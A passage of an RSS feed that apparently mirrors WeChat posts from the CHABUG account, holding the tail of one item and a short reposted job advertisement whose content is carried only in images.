spellcheck="false" style="box-sizing: border-box;"><span md-inline="plain" style="box-sizing: border-box;"><span style="color: rgb(17, 17, 17);font-size: 16px;orphans: 4;text-align: center;white-space: pre-wrap;">分享、点赞、</span>在<span style="color: rgb(17, 17, 17);font-size: 16px;orphans: 4;text-align: center;white-space: pre-wrap;">看就是对我们的一种支持！</span></span></span></span></span></span></p><p style="text-align: center;"><img class="rich_pages js_insertlocalimg" data-ratio="0.36484375" data-s="300,640" style="" data-type="png" data-w="1280" src="https://wechat2rss.xlab.app/img-proxy/?k=d8806ef3&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FzleycDibFeibp8YjH4BpZodsIJmZOG8Cc3sbuM3IMcxPurjryDzTA8WTHZTNIXvP1SUVvWh0PzSTxssDxmwydNrQ%2F640%3Fwx_fmt%3Dpng"/></p>



<p><a href="2247485996">阅读原文</a></p>
<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=068f7e6b&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzU0ODg2MDA0NQ%3D%3D%26mid%3D2247485996%26idx%3D1%26sn%3D2da99b0a9d9c3e4803d5db89cfaa3847%26subscene%3D0">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Fri, 04 Jun 2021 22:04:00 +0800</pubDate>
    </item>
    <item>
      <title>聚天下英才,招贤良能士</title>
      <link>https://mp.weixin.qq.com/s?__biz=MzU0ODg2MDA0NQ==&amp;mid=2247485982&amp;idx=1&amp;sn=2ad6564778c401481cbb971231acd90f</link>
      <description>帮好哥哥转发个招聘（非常好的团队哟😀，速度联系⬇）</description>
      <content:encoded><![CDATA[<p>
<span>CHABUG运营小哥哥</span> <span>2021-06-02 17:42</span> <span style="display: inline-block;"></span>
</p>

<p>帮好哥哥转发个招聘（非常好的团队哟😀，速度联系⬇）</p>
<p></p>



<p>
<img src="https://wechat2rss.xlab.app/img-proxy/?k=e22a5317&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_jpg%2FzleycDibFeibqAsLiaH9pGv6ScDdd0H15ia9GdvTkvMxv1BYmG9xhc9ntt2XrPckP2dCOZ2TibFLAlj7zlWicl9bUf4A%2F0%3Fwx_fmt%3Djpeg"/>
</p>


<p style="text-align: center;"><span style="color: rgb(255, 41, 65);"><strong>帮好哥哥转发个招聘</strong></span></p><p style="text-align: center;"><span style="color: rgb(255, 41, 65);"><strong>（非常好的团队哟<span style="font-family: Arial, sans-serif;font-size: 13px;text-align: start;background-color: rgb(255, 255, 255);">😀，</span></strong></span><span style="color: rgb(255, 41, 65);font-size: 17px;"><strong><span style="color: rgb(255, 41, 65);font-family: Arial, sans-serif;text-align: start;background-color: rgb(255, 255, 255);"><strong style="color: rgb(255, 41, 65);text-align: center;white-space: normal;">速度联系⬇</strong></span></strong></span><span style="color: rgb(255, 41, 65);"><strong>）</strong></span></p><p style="text-align: center;"><br/></p><p style="text-align: center;"><img class="rich_pages js_insertlocalimg" data-ratio="3.73359375" data-s="300,640" style="" data-type="jpeg" data-w="1280" src="https://wechat2rss.xlab.app/img-proxy/?k=6de8a9af&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_jpg%2FzleycDibFeibqAsLiaH9pGv6ScDdd0H15ia9EWv3jiawaZGicPfld2o8ibL3s8PLwQ86oUCZonWX3bCJSJo8LnKzkTb0A%2F640%3Fwx_fmt%3Djpeg"/></p><p><br/></p>



<p><a href="2247485982">阅读原文</a></p>
<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=4b9e1e0f&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzU0ODg2MDA0NQ%3D%3D%26mid%3D2247485982%26idx%3D1%26sn%3D2ad6564778c401481cbb971231acd90f%26subscene%3D0">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Wed, 02 Jun 2021 17:42:00 +0800</pubDate>
    </item>
  </channel>
</rss>